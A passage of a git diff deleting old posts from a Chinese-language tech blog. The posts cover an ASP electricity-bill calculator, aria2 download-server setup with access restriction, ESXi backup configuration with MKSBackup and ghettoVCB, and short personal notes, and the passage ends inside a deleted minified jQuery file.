    " & "" & deg & "" & "(" & deg &"-701) 4.42 " & (deg-701)*4.42 &"
    1001~4.83
    degtotal" & total_cost & "
    " - elseif deg >=1001 then - total_cost = (120-0)*1.63 + (330-121)*2.38 + (500-331)*3.52 + (700-501)*4.61 + (1000-701)*5.42 + (deg-1001)*6.13 - cal_process = "(120-0)*1.63 + (330-121)*2.38 + (500-331)*3.52 + (700-501)*4.61 + (1000-701)*5.42 + (" & deg & "-1001)*6.13 = " & total_cost & "

    " - Response.write "Degree:" & deg &"

    " - Response.Write "cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.38497.42
    331-500 3.52 594.88
    501-700 4.61 917.39
    701-1000 5.42 1620.58
    " & "" & deg & "" &"(" & deg &"-1001)" & "6.13 " & (deg-1001)*6.13 & "
    degtotal" & total_cost & "
    " - total_cost = (120-0)*1.63 + (330-121)*2.10 + (500-331)*2.89 + (700-501)*3.79 + (1000-701)*4.42 + (deg-1001)*4.83 - cal_process = "(120-0)*1.63 + (330-121)*2.10 + (500-331)*2.89 + (700-501)*3.79 + (1000-701)*4.42 + (" & deg & "-1001)*4.83 = " & total_cost & "

    " - Response.write "Degree:" & deg &"

    " - Response.Write "Non Summer cal_process:" & cal_process - Response.write "
    Degree Cost sum
    0-120 1.63 195.6
    121-3302.10497.42
    331-500 2.89 594.88
    501-700 3.79 917.39
    701-1000 4.42 1620.58
    " & "" & deg & "" &"(" & deg &"-1001)" & "4.83 " & (deg-1001)*4.83 & "
    degtotal" & total_cost & "
    " - end if - -%> - - - - - -``` - -運算結果 -![](https://i.imgur.com/KMI7UYY.png) \ No newline at end of file diff --git a/themes/recycle/centos-aria-download-station.md b/themes/recycle/centos-aria-download-station.md deleted file mode 100644 index 0a5e0a08..00000000 --- a/themes/recycle/centos-aria-download-station.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 筆記-CentOS7 + Aria + AriaWeb 下載管理工具 -categories: 筆記 -date: 2017-09-04 10:30:46 -tags: [筆記] ---- - -最近又開始手癢,不斷的在切換各家的VPS方案,雖然GCE的速度最快,機器固定成本大概就是5美金,但是有個隱藏的成本,教學網頁上很少提到,就是流量會另外收費,而且收費的規則有點複雜。 - -比如說到「流出」到中國的頻寬是一個費用,「流出」到澳洲的又是另外一種費用。這個對於抓成本來說是個很大的困擾。而且如果有用來下載BT之類的活動,也根本無法預期會流量會往哪裡跑,之前測試了一天,抓了一片愛情動作片,然後從工作站上下載回來,一天就花了我0.9 USD,如果每天這樣抓,那光流量費用一個月就要快30 USD了啊!雖然速度很快,但是這成本,我無法接受啊!所以還是又換回了 VULTR,基本的500G流量很夠用了,總不會天天有新番號都要下載啊! - - ----------- -好,前面都廢話... -之前在Linux 底下抓BT,印象中就是用 rtorrent,後來意外發現有個工具叫做 [aria2](https://aria2.github.io/),不只支援BT,一般的http/https,新一點的 magnet(磁力) / Metalink (不知道啥)都可以抓,而且不知道為啥,在VPS抓這些BT/磁力 速度特別的快,比在本機抓快上了不知道幾倍! - -![](https://i.imgur.com/nlrE0y9.png) - -不過 aria2c Web 有一些小問題,要進行操作的時候,常會跳一些警告視窗出現,碰到這種狀況,建議是登出再登入就可以了。 - -安裝過程很簡單,CentOS的yum 內建有支援aria,如果沒有,先安裝epel-release即可 - - ->yum install epel-release -y ->yum install aria2 -y - -arai2c web 的安裝稍微複雜一點點 -要先確認有安裝 WEB + PHP ,還有要安裝 php-xmlrpc 模組,不然會報錯。 - ->yum install php-xmlrpc -y - -然後去[下載原始程式](https://aria2.github.io/) - -下載回來,放在網站路徑底下解壓縮,然後編輯 config.php,把預設的帳號密碼改掉。 - ->$aria2_parameters['xml_rpc_username'] = 'admin'; ->$aria2_parameters['xml_rpc_password'] = 'passwordofadmin'; - -其他選項依照個人需求看要不要修改,接著執行以下指令 - ->aria2c --enable-rpc --rpc-listen-all=true - -就可以開啟網頁進入Aria2C的界面。 -![](https://i.imgur.com/lxam1dC.png) - - -要新增下載,就直接點 Add New Download,然後貼上torrent的路徑,或者直接貼上磁力的連結,剩下的就交給Aria去處理了。 - -不過這個界面滿陽春的,有點美中不足 - -1. 在介面上如果可以看到ratio就好了,個人習慣至少會抓到ratio >= 1才會停止,但是這邊看不到,有點麻煩。 -2. 下載完成後,如果可以作一些檔案管理,像是重新命名、移動、刪除就更好了。現在的介面只能針對下載佇列作移除。 -![](https://i.imgur.com/jdIATf9.png) - -可以看到畫面右邊是檔案實際存放的路徑,但是在這邊沒有辦法作檔案管理,必須要進到console去處理。 - -我是另外搭配KodExplorer 來分享、下載。 -![](https://i.imgur.com/IBBNTzA.png) - -再來看一下vps的狀態,流量、cpu使用量也都還好。看來以後應該就會這樣用了吧,作為下載的中繼站這樣! -![](https://i.imgur.com/pVW0kiv.png) - - ----------- -2017/09/05 更新 - -發現這樣的方式會有安全的漏洞,雖然在config裡面有設定rpc user/password 但是不知道為什麼,進入網頁都不會詢問帳號密碼。 - -測試用 .htpasswd / .htaccess 去限制存取也不行 -最後還是用老方法,修改 httpd.conf ,加入限制IP存取的語法 -``` - -Options All -AllowOverride All -Require all denied -Require ip 123.123.123.123 234.234.234.234 - -``` - -但是如果碰到沒固定IP的環境,可能就比較麻煩了.. - -**update** -剛剛測試出來怎麼用 httpd.conf 加入密碼限制了 -``` - - #Options All - #AllowOverride All - #Require all denied - #Require ip 123.123.123.123 234.234.234.234 - #加入底下這幾行 - AuthType Basic - AuthName "Restricted Content" - AuthUserFile /var/.htpasswd - Require valid-user - -``` - -/var/.htpasswd 這個檔案可以放在任意路徑 -用 httpasswd 的命令產生 - ->htpasswd -c /var/.htpasswd user_name -會詢問你密碼,輸入兩次後,檔案就產生了。 - -要進入頁面,就會出現詢問密碼的視窗 -![](https://i.imgur.com/COjSuVb.png) - - - - diff --git a/themes/recycle/diff-capacity-128G-between-Linux-and-windows.md b/themes/recycle/diff-capacity-128G-between-Linux-and-windows.md deleted file mode 100644 index 14f18515..00000000 --- a/themes/recycle/diff-capacity-128G-between-Linux-and-windows.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: 筆記-128G隨身碟真實容量? -categories: 筆記 -date: 2017-08-28 11:10:46 -tags: [筆記] ---- - -在PTT上看到相關的討論,頓時燃起好奇心,想來看看手邊的隨身碟在不同作業系統底下,各自會顯示多少容量? - -測試樣本是這一支 TeamGroup的 128G隨身碟 -![十銓科技 C155 128G隨身碟](https://i.imgur.com/fsEsNaG.png) - - -在Windows 底下顯示的容量 127,816,040,448 bytes - -![](https://i.imgur.com/9vEc4jI.png) - -在Linux 底下顯示 127,821,414,400 bytes - -![](https://i.imgur.com/ah70pZ3.png) - -這就讓我有點好奇了,為什麼同一隻隨身碟在不同的作業系統底下,會顯示不同的容量?都已經不去計算格式化之後的「誤差」了呀? diff --git a/themes/recycle/iphone-restore-wont-restore-apps.md b/themes/recycle/iphone-restore-wont-restore-apps.md deleted file mode 100644 index 4b7267c1..00000000 --- a/themes/recycle/iphone-restore-wont-restore-apps.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: 雜念-我真的無法理解iPhone 「回復」備份,APP卻還要重新下載的設計邏輯 -categories: 雜念 -date: 2017-10-09 17:10:46 -tags: [雜念,iPhone] ---- - -最近公司又開始iPhone8的換機潮,我也順便接手了同事的一支iPhone 6 PLUS。 -重設、還原自然是不在話下,但是明明系統已經「回復備份」,但是手機上的APP為何還要重新下載? -![](https://i.imgur.com/qYbvjRb.png) - -回復系統大概10-20分鐘,後面下載這些APP跑了兩個小時還沒跑完。為什麼不一開始在備份的時候,就一併備份app呢? \ No newline at end of file diff --git a/themes/recycle/mksbackup-ghettovcb-in-windows.md b/themes/recycle/mksbackup-ghettovcb-in-windows.md deleted file mode 100644 index 434b475a..00000000 --- a/themes/recycle/mksbackup-ghettovcb-in-windows.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: 筆記-MKSBackup & ghettoVCB 免費備份 vmware esx 上的虛擬機 -categories: 筆記 -date: 2017-08-10 15:30:46 -tags: [筆記,vmware] ---- - -## 事先準備 - - -### FTP Server -- 準備一個外接硬碟,連到控制電腦上(在這裡是 F ) -- Windows內安裝FTP Server (我用FileZilla) -- 在FTP Server 上新增一個使用者,並指定家目錄到外接硬碟 -### 開啟VMWARE ESX SSH 登入 -這個就不多說了 - - -## 在Windows內安裝 MKSBackup -MKSBackup 是由 [MagiKmon](http://www.magikmon.com/mksbackup/) 出產的一個備份工具,同時可以支援wbadmin(windows 備份程式,如圖) -![](https://i.imgur.com/LHU0d26.png) -同時也支援 Linux底下的 tar、以及這次的重點[ ghettoVCB](https://github.com/lamw/ghettoVCB) (VMWARE 備份工具) - -沒有圖形界面,都是簡單的命令列指令,以及讀取編輯好的 ini檔作為設定,內建EMAIL通知,可以把備份的狀況郵寄給管理者。非常方便、好用。 - -這邊簡單描述一下在Windows底下的安裝過程 - -理論上,不管是x86/x64 都可以安裝,雖然是以python寫成,但是不需要安裝python,不過需要 Microsoft Visual C++ 2008 Redistributable Package,如果沒有安裝過,可以在這邊下載 [vcredist_x86.exe](http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf) - -確認安裝好 Microsoft Visual C++ 2008 Redistributable Package之後,就可以在[官網下載 MKSBackup](http://www.magikmon.com/mksbackup/download.en.html),下載完成後,點兩下就進行安裝。安裝過程會詢問一些問題,參考圖片說明 -![](https://i.imgur.com/TxrJ6jq.png) - -OK,到這邊,就完成了 MKSBackup在 Windows 底下的安裝 -接下來要進行 ghettoVCB 的部份。 - - ----------- - -## 確認 ghettoVCB安裝 -在進行安裝MKSBackup時,就會順便下載最新版的 ghettoVCB,檔案在安裝路徑底下的vmware 目錄中 -![](https://i.imgur.com/n8rQseZ.png) - -這樣就ok了,等一下再回頭來修改ghettoVCB的設定檔 - - ----------- -先來看看剛剛安裝的 MKSBackup可不可以執行 -輸入 mksbackup -h 確認看看,出現這樣的畫面就OK了 - -![](https://i.imgur.com/ooDyi7o.png) - -接著來修改 mksbackup.ini 設定email通知的部份 - - -用任何喜歡的編輯器編輯 mksbackup.ini(在安裝路徑下可以找到) -設定郵件寄送 -```Java Script - -## if you don't want to setup any email config or receive any email report -#mail=no #如果mail=no就不會發信了,註解掉 -smtp_host=192.168.70.240 #輸入 Mail Server IP - -# smtp_mode can be normal, ssl or tls #郵件寄送模式,就一般吧 省得還要處理走SSL/TLS可能造成的問題,直接註解掉也可以 -#smtp_mode=normal - -# smtp_port can in 25, 465, 587 or other #SMTP PORT 註解掉,用預設 -#smtp_port=25 - -# smtp_login and smtp_password can be used if authentication is required by SMTP server -如果寄件要帳號密碼,在這邊輸入 -#smtp_login=ID -#smtp_password=PASS - -#sender is required #輸入寄件者email -sender=mksbackup@abc.com - -# recipients is a list of space separated email addresses -收件者,可以有多個收件者,用空白鍵隔開 -recipients=chchang@abc.com - -# maximum size of an attachment in (K) -附加檔案最大容量 -#attachment_size=100 註解掉 - -底下就是一些備份工作的內容設定,我是都先全部拿掉,只剩下 VMWARE這塊,看起來比較簡單。 - -[VMWARE_FROM_WINDOWS] -#備份工作名稱,注意大小寫,雖然在windows底下,但是執行的時候,大小寫也要一致才能正確執行。 -program=ghettovcb -#預設,不用改 -host=192.168.70.220 -#VMWARE ESX主機 IP -port=22 -#SSH Port 預設就是22 -login=root -#ESX登入帳號 -password=ROOTpasswordatESX -#ESX登入密碼 -#identity_file=C:\magik\id_rsa -#沒用到 -local=d:\magik\vmware -#本地MKSBackup工作目錄,就輸入安裝目錄 -remote_temp=/tmp -#ESX主機上工作目錄,輸入 /tmp -script=ghettoVCB.sh -#要執行的命令稿 -global_conf=ghettoVCB.conf -#設定檔 -vm_list=NAMED-245 -#要備份的VM名稱,有多個的話,用空白隔開 -#取得VM名稱的方法,可以ssh到ESX主機後,下 esxcli vm process list -#ftp_local=ftp://192.168.10.117/f/vmware -#MKSBackup預設可以提供FTP Server功能,但是我一直測試不出來,放棄 -#destination=ftp://ftpid:ftppassword@192.168.10.117/vmware/${vm} -#如果要使用FTP功能,從ESX上備份到FTP Server的話,可以用這個設定,但是這次沒有要這麼作 -### destination=f:\vmbackup\${vm}-%Y-%m-%d -#這次要測試直接備份到外接硬碟,所以直接輸入備份路徑就可以了,當然要讓ftp那邊能夠存取得到 - - -底下先不用管 -#ftp://localhost/${vm} -#/backup/vmware/${vm}-${nweekdayname} -#ftp://localhost/${vm} -# -scp is required on last version of PuTTY -#scp_bin="C:\Program Files\PuTTY\pscp.exe" -scp -``` - ------ -###要修改的小地方 - -ghettoVCB.sh 檔名儲存的變數改成 -`+%F-%H-%m` -格式會是這樣 -`2017-08-11-01-08` diff --git a/themes/recycle/one-job-3-skills.md b/themes/recycle/one-job-3-skills.md deleted file mode 100644 index 9cecaa65..00000000 --- a/themes/recycle/one-job-3-skills.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: 雜念-一個職缺,開三種職務的能力,台灣慣老闆真的hen會.. -categories: 雜念 -date: 2017-10-16 17:30:46 -tags: [雜念] ---- - -找一個 MIS 來看看 全廉工坊系統家具這家公司開了哪些能力需求? - - - -1. 管理維護公司系統 (很ok啊! MIS 本職嘛) -2. 具WEB程式設計能力 (ㄟㄟㄟ,你找MIS捏,還要會寫WEB Application?) -3. 具資料庫管理及應用能力 (MIS 你還要會DBA唷!) - -就不知道這個職缺有沒有給三倍薪資就是了... - - -![](https://i.imgur.com/Zdv6CeH.png) \ No newline at end of file diff --git a/themes/recycle/pan-download-test.md b/themes/recycle/pan-download-test.md deleted file mode 100644 index e258122f..00000000 --- a/themes/recycle/pan-download-test.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: 下載-Pan Download 百度網盤下載工具 -categories: 筆記 -date: 2017-08-23 13:10:46 -tags: [筆記,百度云] ---- - -[Pan Download V1.3.5](http://bit.ly/2wm2gK3) - -感覺上,用這個下載的確是有比較快。 - -底下是剛剛測試的截圖 -![](https://i.imgur.com/lhIIYS0.jpg) - -今天(2017/08/25)下載的情況,還是很快! - -![](https://i.imgur.com/t1N7J5w.png) \ No newline at end of file diff --git a/themes/recycle/test-mardown-bold-in-quote.md b/themes/recycle/test-mardown-bold-in-quote.md deleted file mode 100644 index f3149f03..00000000 --- a/themes/recycle/test-mardown-bold-in-quote.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: 測試-MarkDown 程式碼語法測試 -categories: 筆記 -date: 2017-08-14 13:10:46 -tags: [筆記,markdown] ---- - -

    引用粗體
    - -``` JavaScript -VM_BACKUP_VOLUME=/vmfs/volumes/3TONQNAP2BAY/ghe-backup -DISK_BACKUP_FORMAT=thin -VM_BACKUP_ROTATION_COUNT=1 -POWER_VM_DOWN_BEFORE_BACKUP=0 -ENABLE_HARD_POWER_OFF=0 -ITER_TO_WAIT_SHUTDOWN=3 -POWER_DOWN_TIMEOUT=5 -ENABLE_COMPRESSION=0 -VM_SNAPSHOT_MEMORY=0 -VM_SNAPSHOT_QUIESCE=0 -ALLOW_VMS_WITH_SNAPSHOTS_TO_BE_BACKEDUP=0 -#ENABLE_NON_PERSISTENT_NFS=0 -#UNMOUNT_NFS=0 -NFS_SERVER=172.30.0.195 -NFS_MOUNT=/nfsshare -NFS_LOCAL_NAME=nfs_storage_backup -NFS_VM_BACKUP_DIR=mybackups -SNAPSHOT_TIMEOUT=15 -EMAIL_LOG=0 -EMAIL_SERVER=auroa.primp-industries.com -EMAIL_SERVER_PORT=25 -EMAIL_DELAY_INTERVAL=1 -EMAIL_TO=auroa@primp-industries.com -EMAIL_FROM=root@ghettoVCB -WORKDIR_DEBUG=0 -VM_SHUTDOWN_ORDER= -VM_STARTUP_ORDER= -``` - ----------- - - - VM_BACKUP_VOLUME=/vmfs/volumes/3TONQNAP2BAY/ghe-backup - DISK_BACKUP_FORMAT=thin - VM_BACKUP_ROTATION_COUNT=1 - POWER_VM_DOWN_BEFORE_BACKUP=0 - ENABLE_HARD_POWER_OFF=0 - ITER_TO_WAIT_SHUTDOWN=3 - POWER_DOWN_TIMEOUT=5 - ENABLE_COMPRESSION=0 - VM_SNAPSHOT_MEMORY=0 - VM_SNAPSHOT_QUIESCE=0 - ALLOW_VMS_WITH_SNAPSHOTS_TO_BE_BACKEDUP=0 - #ENABLE_NON_PERSISTENT_NFS=0 - #UNMOUNT_NFS=0 - NFS_SERVER=172.30.0.195 - NFS_MOUNT=/nfsshare - NFS_LOCAL_NAME=nfs_storage_backup - NFS_VM_BACKUP_DIR=mybackups - SNAPSHOT_TIMEOUT=15 - EMAIL_LOG=0 - EMAIL_SERVER=auroa.primp-industries.com - EMAIL_SERVER_PORT=25 - EMAIL_DELAY_INTERVAL=1 - EMAIL_TO=auroa@primp-industries.com - EMAIL_FROM=root@ghettoVCB - WORKDIR_DEBUG=0 - VM_SHUTDOWN_ORDER= - VM_STARTUP_ORDER= - \ No newline at end of file diff --git a/themes/resources/_gen/assets/js/js/externalDependencies.js_187be290e8222f6bb644052568a2fb6d.content b/themes/resources/_gen/assets/js/js/externalDependencies.js_187be290e8222f6bb644052568a2fb6d.content deleted file mode 100644 index dbc3d25b..00000000 --- a/themes/resources/_gen/assets/js/js/externalDependencies.js_187be290e8222f6bb644052568a2fb6d.content +++ /dev/null @@ -1,17 +0,0 @@ -/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ -!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return 